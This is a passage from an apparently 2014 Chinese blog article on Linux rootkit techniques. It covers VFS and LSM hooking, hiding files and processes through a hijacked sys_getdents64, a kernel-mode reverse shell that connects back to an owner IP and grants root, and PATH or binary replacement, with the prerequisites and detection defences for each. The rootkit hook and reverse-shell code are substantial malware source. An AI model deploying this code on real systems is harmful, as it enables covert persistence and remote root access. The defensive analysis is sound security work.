1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 使用VFS Hooking的逆向思路,通过检查/proc->f_op->readdir(操作句柄)是否位于内核text节区中来判断是否发生了VFS劫持
Relevant Link:
http://www.cnblogs.com/yuyijq/archive/2013/02/24/2923855.html
0x4: File Hidden Based On LSM Transparent Encryption(LSM透明过滤文件系统)
直接进行Linux systemcall table replace hook需要面临不同Linux Kernel版本、32/64 bit的兼容性问题。为了解决这个问题,使用Linux内核原生代码级支持的LSM(Linux Security Modules)技术是一个更好的选择
LSM Hook Point可以使用以下几个
1. security_file_permission: 对文件的操作权限进行审计 int security_file_permission(struct file *file, int mask); http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1581 http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L526 /* vfs_readdir() -> security_file_permission() */ 2. security_dentry_open: 对文件的open操作进行审计 int security_dentry_open(struct file *file); http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1596 http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L585 /* sys_open/sys_openat -> do_sys_open -> do_filp_open -> path_openat -> do_last -> nameidata_to_filp -> __dentry_open() -> security_dentry_open() */
关于LSM的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/4134939.html
Relevant Link:
http://tech.sina.com.cn/s/s/2008-12-23/09062681645.shtml
0x5: File Hidden Based On TOMOYO
对于TOMOYO,和文件读写访问控制相关的Hook Point是
static int tomoyo_file_open(struct file *f, const struct cred *cred) { int flags = f->f_flags; /* Don't check read permission here if called from do_execve(). */ if (current->in_execve) return 0; return tomoyo_check_open_permission(tomoyo_domain(), &f->f_path, flags); }
Relevant Link:
http://lxr.free-electrons.com/source/security/tomoyo/tomoyo.c#L329
6. Process Hidden
0x1: Process Hidden Based On Hajaking Sys_getdents64
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; /* 5. we get the orig information by orig_getdents64 */ struct dirent64 *td1, *td2; ret = (*orig_getdents64) (fd, dirp, count); td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); //copy the dirp struct to kernel space __copy_from_user(td2, dirp, ret); /* 6. 隐藏对当前进程的枚举 1) 通过current宏获取当前进程号 2) 从dirent64获取当前正在枚举的进程号(d_name) 3) 如果相等则说明需要隐藏 4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的 */ /* 7. 隐藏对指定特征文件的枚举 1) 从dirent64获取当前正在枚举的文件名(d_name) 2) 和我们配置的文件名特征码(例如wnps_)作比较 3) 如果命中则说明需要隐藏 4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; }
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
7. Hidden Port Remote Reverse Connections
0x1: Reverse Socket Connections In Kernel Mode By TCP Package Flag Activation
基于"4.0x2: Network Communication Hidden Based On Netfilter Callback Function Register"隐蔽通道激活之后,当前系统已经进入激活状态,随时可以开始向远程主机发起反向连接
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. 替换sys_call_table[__NR_read]的函数指针,达到劫持read()系统调用的目的 /* 5. 在sys_read(hook系统调用函数)中部署内核态反向socket连接,值得注意的是,这个反向shell还附带了一个root权限的交互式shell */ kshell(myowner_ip,myowner_port); int kshell(int ip,int port) { .. sock_create(AF_INET,SOCK_STREAM,0,&sock); .. sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags); .. get_pty(); .. if (!(tmp_pid = fork())) { start_shell(); } .. } //get_pty - create a pseudo terminal. int get_pty(void) { char buf[128]; int npty, lock = 0; ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); ioctl(ptmx, TIOCSCTTY,(unsigned long) &npty); ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); sprintf(buf, "/dev/pts/%d", npty); npty = open(buf, O_RDWR, S_IRWXU); return npty; } //strat_shell - use system call 'exevce' to get a root shell. void start_shell(void) { struct task_struct *ptr = current; mm_segment_t old_fs; old_fs = get_fs(); set_fs(KERNEL_DS); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; dup2(epty, 0); dup2(epty, 1); dup2(epty, 2); chdir(HOME); execve("/bin/sh", (const char **) earg, (const char **) env); e_exit(-1); }
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
8. Programe Replacing
0x1: Ring3 Programe Hijaking Based On Linux Path Hijaking
所谓路径劫持技术,本质上就是利用Linux默认指令程序搜索顺序的特性而发动的攻击,一般情况下,我们在命令行会直接输入指令而不带完整路径
而实际上,linux会按照一个预定的顺序去搜索这个指令对应的程序
1. 当前目录 2. 如果当前目录不存在,则按照PATH路径进行搜索
如果黑客能够在其中的搜索列表中的尽量靠前的地方(越靠前越好)放置同名("同名"是指令劫持的关键前提)的指令程序(例如ll),当用户输入ll命令时,实际执行的就是黑客防止的恶意程序,从而达到基于PATH劫持的指令劫持的目的
攻击前提
1. 黑客拥有指定目录的写权限
防御策略
1. 基于恶意软件、木马、后门软件的指纹库的定时全盘扫描
0x2: Ring3 Program Hijaking Based On Replacing Original Programe
早期的黑客使用的rootkit常用的做法是直接将/bin/ls、/bin/ll等可执行文件替换为同名的恶意程序(本质思想上和基于PATH劫持的指令劫持的思想差不多)
攻击前提
1. 黑客拥有系统关键目录(/bin、/sbin等目录的写权限),一般是拿到root权限的
防御策略
1. 基于恶意软件、木马、后门软件的指纹库的定时全盘扫描
Copyright (c) 2014 LittleHann All rights reserved